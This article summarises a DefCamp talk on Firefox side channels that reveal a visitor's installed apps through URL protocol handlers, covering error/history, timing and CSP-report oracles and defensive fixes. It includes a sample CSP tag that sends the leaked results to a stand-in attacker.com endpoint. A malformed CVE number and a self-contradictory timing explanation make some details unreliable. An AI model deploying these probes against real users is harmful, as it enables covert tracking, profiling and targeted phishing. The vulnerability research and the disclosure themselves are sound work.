Discovering Installed Apps via URL Protocol Handlers

Discovering Installed Apps via URL Protocol Handlers

Speakers: Satoki Tsuji (Security Engineer, Ricerca Security, Inc.); Yuichi Sugiyama (Ricerca Security, Inc.)

Conference: DefCamp

YouTube: https://www.youtube.com/watch?v=fuGcKEH0aJU

Overview

In an insightful presentation at DefCamp, Satoki Tsuji of Ricerca Security, Inc. unveiled a critical class of browser side-channel vulnerabilities that allow attackers to silently detect installed applications on a user's system. Titled "Discovering Installed Apps via URL Protocol Handlers," the talk demonstrated how subtle, often overlooked, differences in browser behavior when handling custom URL protocol handlers can be exploited to create highly effective information leakage oracles. These vulnerabilities, primarily identified and demonstrated in Firefox, enable sophisticated attacks ranging from targeted phishing and user profiling to cross-site tracking and the delivery of customized malware payloads.

The core of Tsuji's research lies in observing how browsers react differently to attempts to launch applications via registered versus unregistered custom URL schemes. While these differences might appear minor—such as the type of error page displayed, the growth of browser history, or the timing of error events—they provide sufficient information for an attacker to infer the presence or absence of specific applications. The implications are significant: an attacker can build a detailed profile of a victim's software environment without any explicit user interaction or suspicious pop-ups, significantly enhancing the efficacy and stealth of malicious campaigns.

This article delves into the mechanisms behind these side channels, detailing the identified vulnerabilities (including CVE-2024-9398 and CVE-2024-5690), showcasing the proof-of-concept demonstrations, and exploring the broader defensive implications for browser vendors and users alike. Tsuji's work highlights the ongoing challenge of securing complex web environments against ingenious exploitation of seemingly innocuous browser functionalities.

Background

▶ Watch: Introduction: Discovering installed apps via URL protocol handlers (0:50)

URL protocol handlers are a fundamental feature of modern operating systems and web browsers, designed to enhance user convenience by linking specific URL schemes to local applications. For instance, clicking a mailto: link automatically opens the default email client, while ms-settings: can launch Windows settings applications. Beyond these standard protocols, virtually any application can register its own custom URL scheme, allowing for deep integration with the operating system and other software. Examples include steam:// for launching Steam games or zoommtg:// for initiating Zoom meetings. This flexibility is invaluable for usability, but as Tsuji's research reveals, it also introduces a significant attack surface.

The problem arises when an attacker can programmatically determine whether a particular custom protocol handler is registered on a victim's system. If a browser reacts distinctly to a valid, installed protocol versus an invalid, unregistered one, this differential behavior can be observed as a side channel. An attacker can then query for a list of known application-specific protocols (e.g., slack://, spotify://, instagram://, twitch://, vlc://, discord://) and build a profile of the victim's installed software.

Such a profile opens the door to several malicious scenarios:

• Targeted Phishing: If an attacker knows a user has Steam installed, they can present a highly convincing fake Steam login overlay or "account security check" pop-up, leveraging the user's trust in the application to steal credentials.
• User Profiling: By detecting a range of installed applications (e.g., social media apps, gaming clients, specific developer tools, or the absence of security software like antivirus), attackers can build a detailed profile of the user's interests, demographics, and system defenses.
• Customized Malware Delivery: Knowing a user's system lacks certain security software (e.g., avast:// not found) allows attackers to deliver malware specifically designed to evade the known absent defenses, increasing the likelihood of successful infection.
• Cross-Site Tracking: By enumerating protocol handlers across different websites, attackers can potentially link a single user's activity, even across different origins, breaking traditional same-origin policy protections and enabling highly targeted advertising or surveillance.

Prior work in this area includes research by Lotem Kasan, who in 2015 (CVE-2015-680) demonstrated how to detect protocol handlers by observing the width of a broken image icon. When a browser attempted to load a broken image with an embedded protocol handler, a small icon would appear if the protocol existed, resulting in a 24-pixel wide element. If the protocol did not exist, the icon wouldn't appear, leading to a zero-pixel width. JavaScript could detect this subtle difference, creating an oracle—a mechanism that leaks just enough information for an attacker to make an inference. Tsuji's research builds upon this foundation, revealing new, often more covert, side channels for detection, particularly within Firefox.

Key Findings

▶ Watch: Demo: Error/history-based detection (CVE-2024-9398) (11:00)

Satoki Tsuji's presentation detailed several novel side-channel vulnerabilities in Firefox that allow for silent enumeration of installed URL protocol handlers. These findings underscore how seemingly minor implementation details in browser behavior can be weaponized for information leakage. The research highlighted three primary categories of attack techniques, which the speaker referred to as "oracles" (or "locus" / "olocus" in his presentation, based on his definition of an oracle as something that leaks information for an attacker to guess):

1. Error- and History-Based Oracle (CVE-2024-9398): This vulnerability exploits the distinct ways Firefox handles window.open() calls for registered versus unregistered custom URL protocols. When a valid protocol is invoked, Firefox creates an about:blank placeholder page before attempting to launch the external application. For an invalid protocol, however, it directly loads an error page. Furthermore, this difference impacts browser history: a valid protocol does not add an entry, while an invalid one adds an extra entry (the error page) before potentially redirecting to about:blank. These differences are detectable via JavaScript.

1. Timing-Based Oracle (CVE-2024-5690): This technique leverages the varying time it takes for an <img> tag with a custom protocol as its src attribute to trigger an onerror or onload event. The browser's internal processing for a valid, registered protocol often takes a different amount of time compared to an unregistered one, even if both ultimately fail to load an image. By precisely measuring these timing differences, an attacker can infer the existence of a protocol. This method can be executed silently within a sandboxed <iframe>, making it particularly stealthy.

1. CSP-Based Oracle (Variation of CVE-2024-5690): This finding builds upon the same underlying browser behavior as the timing-based oracle but exploits it through Content Security Policy (CSP) reporting. By configuring a CSP with a report-uri directive and a restrictive img-src policy (e.g., img-src 'self'), an attacker can cause Firefox to send a JSON report to their server only when a valid, non-self-origin protocol image source is blocked. If the protocol is invalid, Firefox treats it as an unknown resource, skipping CSP logic and thus not generating a report. This creates a silent and highly efficient information leakage channel via HTTP requests. The speaker noted this finding was considered an overlap or variation of CVE-2024-5690 due to the shared root cause in Firefox's internal handling of protocol schemes.

Together, these findings demonstrate a robust set of techniques for silently and effectively enumerating installed applications, posing a significant threat to user privacy and security.

Technical Deep Dive

▶ Watch: Achieving silent detection using iframes and sandboxing (14:00)

The core of these vulnerabilities lies in the subtle, yet exploitable, inconsistencies in how Firefox processes requests for custom URL protocol handlers. Each technique leverages a different observable side effect.

CVE-2024-9398: Error- and History-Based Oracle

This vulnerability exploits the differential behavior of Firefox's window.open() function. When window.open() is called with a URL scheme corresponding to a registered protocol handler (e.g., ms-settings:), Firefox attempts to launch the associated application. Before the external application opens, the browser creates an about:blank page as a temporary placeholder. This about:blank page is script-accessible, meaning JavaScript on the originating page can interact with it.

Conversely, if window.open() is called with an unregistered or invalid protocol scheme (e.g., satoki:), Firefox detects the absence of a handler. Instead of creating an about:blank page, it attempts to load the URL and, finding no handler, ends up displaying a direct error page. This error page is typically a cross-origin error, which is not script-accessible from the originating page. An attacker can detect this difference by attempting to access properties of the opened window; if a cross-origin error occurs, the protocol is likely invalid. This is what Tsuji termed the "based oracle" (likely meaning "error-based oracle").

Further refining this technique, Tsuji discovered a "history-based oracle." When a registered protocol (like ms-settings:) is opened, while an about:blank page is momentarily created, it typically doesn't add an entry to the browser's history stack. However, when an unregistered protocol is opened, Firefox first navigates to an error page, and then might transition to an about:blank page or similar state. This initial navigation to an error page adds an extra entry to the browser's history. By checking the history.length property before and after attempting to open a protocol, an attacker can determine if an additional history entry was created, thereby inferring the protocol's existence.

To make these window.open()-based attacks more covert, attackers can immediately close the opened windows (window.close()) after the detection logic has executed. Even more silently, the speaker noted that an attacker could use an <iframe> to perform the protocol enumeration. By applying the sandbox attribute to the <iframe>, all pop-ups can be completely blocked, allowing for silent checking of custom schemes without the user ever seeing a visible pop-up or new window.

CVE-2024-5690: Timing-Based Oracle

This method focuses on the time it takes for an <img> tag to trigger an onerror or onload event when its src attribute is set to a custom protocol URL. While visually both valid and invalid protocol schemes might result in a broken image icon, the underlying browser processing differs significantly, leading to measurable timing discrepancies.

Tsuji explained that if a protocol is valid, Firefox might go through more internal checks or attempt to initiate the application launch process before ultimately failing to render the image (as it's not a standard image format). If the protocol is invalid, the browser might quickly determine there's no handler and immediately fire an error event.

In his testing, Tsuji observed specific timings:

• For the valid ms-settings: protocol, the onerror event fired after approximately 6,000 milliseconds.
• For the invalid satoki: scheme, the onerror event fired after about 30,000 milliseconds.

This counter-intuitive observation (where the invalid scheme took longer to error than the valid one) suggests that Firefox might perform a more exhaustive search or fallback procedures for an unknown, unhandled scheme before giving up entirely, whereas for a known valid scheme, it quickly ascertains it's not an image and fires the error related to the image loading. Regardless of the exact internal logic, the crucial point is the existence of a detectable timing difference. An attacker can measure these times using JavaScript's high-resolution timers, creating a "time-based oracle" that works without any visible pop-ups or external indicators, though it is generally slower than other methods due to the need for precise timing measurements.

CSP-Based Oracle (Variation of CVE-2024-5690)

This technique leverages the Content Security Policy (CSP) mechanism, specifically the report-uri directive, to create a silent detection oracle. CSP allows web developers to define which resources a web page is permitted to load, protecting against various injection attacks. The report-uri directive instructs the browser to send a JSON report to a specified URL whenever a CSP violation occurs.

Consider a simple HTML page with a CSP meta tag that restricts image sources to the same origin: <meta http-equiv="Content-Security-Policy" content="img-src 'self'; report-uri https://attacker.com/csp-report">.

When an <img> tag attempts to load a source using a custom protocol (e.g., <img src="ms-settings:">), Firefox's behavior differs based on whether the ms-settings: protocol is registered:

• If the protocol is registered (e.g., ms-settings:): Firefox recognizes it as a valid, albeit non-same-origin, resource attempt. The CSP then intervenes and blocks this attempt because it violates img-src 'self'. This CSP violation triggers the report-uri directive, and Firefox sends a JSON report to https://attacker.com/csp-report. This report would include details about the blocked ms-settings: resource.
• If the protocol is unregistered (e.g., satoki:): Firefox treats it as an unknown resource. Critically, in this scenario, Firefox does not even trigger the CSP violation logic. Because it's an unrecognized scheme, the browser optimizes and skips the CSP checks for it. Consequently, no CSP violation report is sent to the attacker's server.

By simply listening for incoming JSON reports on their report-uri endpoint, an attacker's server can silently and rapidly determine which protocol schemes are registered on the victim's system. This method is exceptionally powerful because it operates via a standard HTTP request, offering high speed and complete stealth. Tsuji noted that this finding was ultimately considered a variation of CVE-2024-5690 due to shared underlying browser behavior in how Firefox processes and optimizes for known vs. unknown protocol schemes.

The underlying architectural differences in Firefox that enable these side channels include:

• The distinct paths taken for valid vs. invalid protocols when window.open() is called (leading to about:blank vs. an error page).
• The internal optimization where Firefox may skip some CSP logic when it determines a protocol is entirely unknown and unhandled.
• The varying degrees of internal processing and checks performed before an onerror event fires for <img> tags with custom protocols.

These subtle implementation details, when combined with clever observation techniques, transform into potent information leakage channels.

Demo / Proof of Concept

▶ Watch: Demo: Rapid CSP-based detection (CVE-2024-5690 variation) (22:00)

Satoki Tsuji's presentation included multiple proof-of-concept (PoC) demonstrations, illustrating the practical feasibility and stealth of these side-channel attacks.

CVE-2024-9398 Demo (Error- and History-Based Oracle)

The first demonstration showcased the window.open()-based detection method. The PoC involved a web page served by a Python Flask server on port 3333. Upon opening the page in Firefox, a JavaScript script would repeatedly call window.open() for a list of target custom protocols. Crucially, each newly opened window was immediately closed after the detection logic executed, minimizing visibility.

The demonstration targeted common applications such as Slack (slack://), Spotify (spotify://), Steam (steam://), and Zoom (zoommtg://). After the script ran, a "check" button, when clicked, revealed the installed applications. The output on the screen confirmed that slack, spotify, steam, and zoommtg were detected as existing, matching the icons of installed applications visible on the speaker's desktop. The speaker emphasized that in a real attack scenario, this logic would run quietly in the background on a malicious website (e.g., a phishing site), collecting system information without the user ever noticing any pop-ups or suspicious activity.

CVE-2024-5690 Demo (Timing-Based Oracle)

The second demonstration focused on the timing-based detection using <img> tags, highlighting its silent nature. This PoC was hosted on a Flask server on port 4444. When the page was opened in Firefox, it initiated a "protocol enumeration" process. The script created a series of <img> tags one by one, each with a src attribute pointing to a different custom protocol (e.g., ftp://, mailto://, skype://, slack://, spotify://, steam://, zoommtg://). For each image, the script precisely measured the time it took for the onerror event to fire.

The speaker showed the process running, noting that it was "very, very slowly" as timing measurements inherently take more time than direct error detection. The output indicated which protocols existed and which did not. For instance, ftp and mailto (default schemes) were detected as existing, while skype was not. slack, spotify, steam, and zoommtg were identified as existing, again correlating with the installed applications on the demo system. This demo underscored the trade-off: complete stealth (no pop-ups, no prompts) comes at the cost of speed, as checking a comprehensive list of protocols can be time-consuming.

CSP-Based Demo (Variation of CVE-2024-5690)

The final demonstration showcased the highly efficient CSP-based oracle. This PoC was served on port 5555. Unlike the previous demos, this one was remarkably fast. Upon opening the page, the user clicked a "check result" button. Immediately, the page identified the installed applications: slack, spotify, steam, and zoommtg.

The speed of this method was attributed to its reliance on standard HTTP requests for CSP violation reporting. As soon as a CSP violation occurs for a valid protocol, the browser sends a JSON report to the attacker's report-uri endpoint. Since this is a network request, the detection is almost instantaneous from the attacker's perspective, making it a "rapid race" to gather information. This method also boasts complete stealth, as the user sees no direct indication of the enumeration taking place beyond the initial page load.

These demonstrations collectively proved that these side-channel techniques are not merely theoretical but are practical and effective means for attackers to silently enumerate installed software on a victim's system, with varying degrees of speed and stealth depending on the chosen method.

Defensive Implications

▶ Watch: Explaining underlying browser logic causing side channel vulnerabilities (23:30)

The discovery of these browser side-channel vulnerabilities, particularly within Firefox, highlights a critical area for defensive action by browser vendors and security researchers. The core problem stems from inconsistent browser behavior when handling valid versus invalid custom URL protocol handlers. To mitigate these attacks, browser implementations need to strive for uniformity and standardization in their responses.

Key defensive implications include:

1. Standardized Error Handling: Browser vendors should standardize the behavior for window.open() calls and other resource loading mechanisms when encountering custom protocols. Whether a protocol is registered or not, the browser's response (e.g., displaying an error page, creating an about:blank page, or triggering specific events) should be indistinguishable from an attacker's perspective. Eliminating the observable differences in page type or history growth would neutralize the error- and history-based oracles.

1. Timing Anonymization: For mechanisms like <img> tags with custom src attributes, browser engines should aim for consistent timing in error event firing, regardless of whether the protocol is valid or invalid. This could involve introducing artificial delays or padding the processing time to mask any inherent differences. Making the timing indistinguishable would effectively neutralize timing-based oracles.

1. Privacy-Preserving CSP Reporting: The CSP-based oracle reveals a flaw in how Firefox (and potentially other browsers) optimizes CSP checks. If a protocol is treated as an "unknown resource" and bypasses CSP logic, it creates a detectable side channel. Browser vendors should ensure that CSP policies are applied consistently to all resource loading attempts, even for unrecognized or custom schemes. Alternatively, CSP reporting mechanisms could be designed to anonymize or aggregate reports in a way that prevents the inference of single-protocol existence.

1. Isolation and Sandboxing: While the speaker mentioned that <iframe> with sandbox can make attacks stealthier, browsers should continuously evaluate and strengthen the isolation properties of sandboxed iframes to prevent any form of information leakage from the parent context, especially concerning system-level information.

1. User Awareness and Education: While these attacks are stealthy, users should be educated about the risks of visiting untrusted or suspicious websites, as these are the primary vectors for such side-channel attacks. However, since the attacks are designed to be invisible, user-side detection is extremely difficult.

1. No Easy User-Side Disable: The speaker noted that "not to disable protocol handlers by default" is a common browser stance, implying that users cannot simply disable this functionality to prevent tracking. This places the burden squarely on browser developers to implement robust mitigations.

Ultimately, addressing these vulnerabilities requires a deep understanding of browser internals and a commitment from developers to patch these subtle inconsistencies. The goal is to ensure that the browser's interaction with the operating system's protocol handler registration mechanism is opaque to malicious JavaScript, thereby preserving user privacy and preventing targeted attacks.

Key Takeaways

• URL Protocol Handlers Leak Information: Custom URL protocol handlers, designed for convenience, can inadvertently expose information about installed applications on a user's system.
• Multiple Side Channels Exist: Attackers can exploit various browser behaviors—including error page display, browser history growth, timing differences in resource loading, and Content Security Policy (CSP) reporting—to create information leakage oracles.
• Firefox Vulnerabilities Identified: The research specifically uncovered and demonstrated vulnerabilities in Firefox, leading to CVE-2024-9398 (error/history-based) and CVE-2024-5690 (timing-based and CSP-based).
• Enables Targeted Attacks: The ability to detect installed apps facilitates highly targeted phishing, detailed user profiling, cross-site tracking, and the delivery of precisely tailored malware payloads.
• Stealth and Speed: Some detection methods, particularly those leveraging <iframe> sandboxing or CSP reporting, can operate completely silently and rapidly, making them highly effective and difficult for users to detect.
• Browser Inconsistencies are Root Cause: The underlying issue is inconsistent browser behavior when handling valid versus invalid custom protocol schemes, highlighting a need for standardization and robust side-channel mitigation in browser implementations.

About the Speaker(s)

Satoki Tsuji is a Security Engineer at Ricerca Security, Inc. Based in Japan, his expertise spans various domains within cybersecurity, with a particular focus on web security, AI security, and penetration testing as part of red teams. He has a notable background in creating Capture The Flag (CTF) challenges for the National Police Agency of Japan, demonstrating his deep understanding of offensive and defensive security techniques. Satoki is active in the security community and can be found on X (formerly Twitter) at @SATW, as well as on GitHub and LinkedIn.

Yuichi Sugiyama is also affiliated with Ricerca Security, Inc. and was credited as a co-speaker for this research.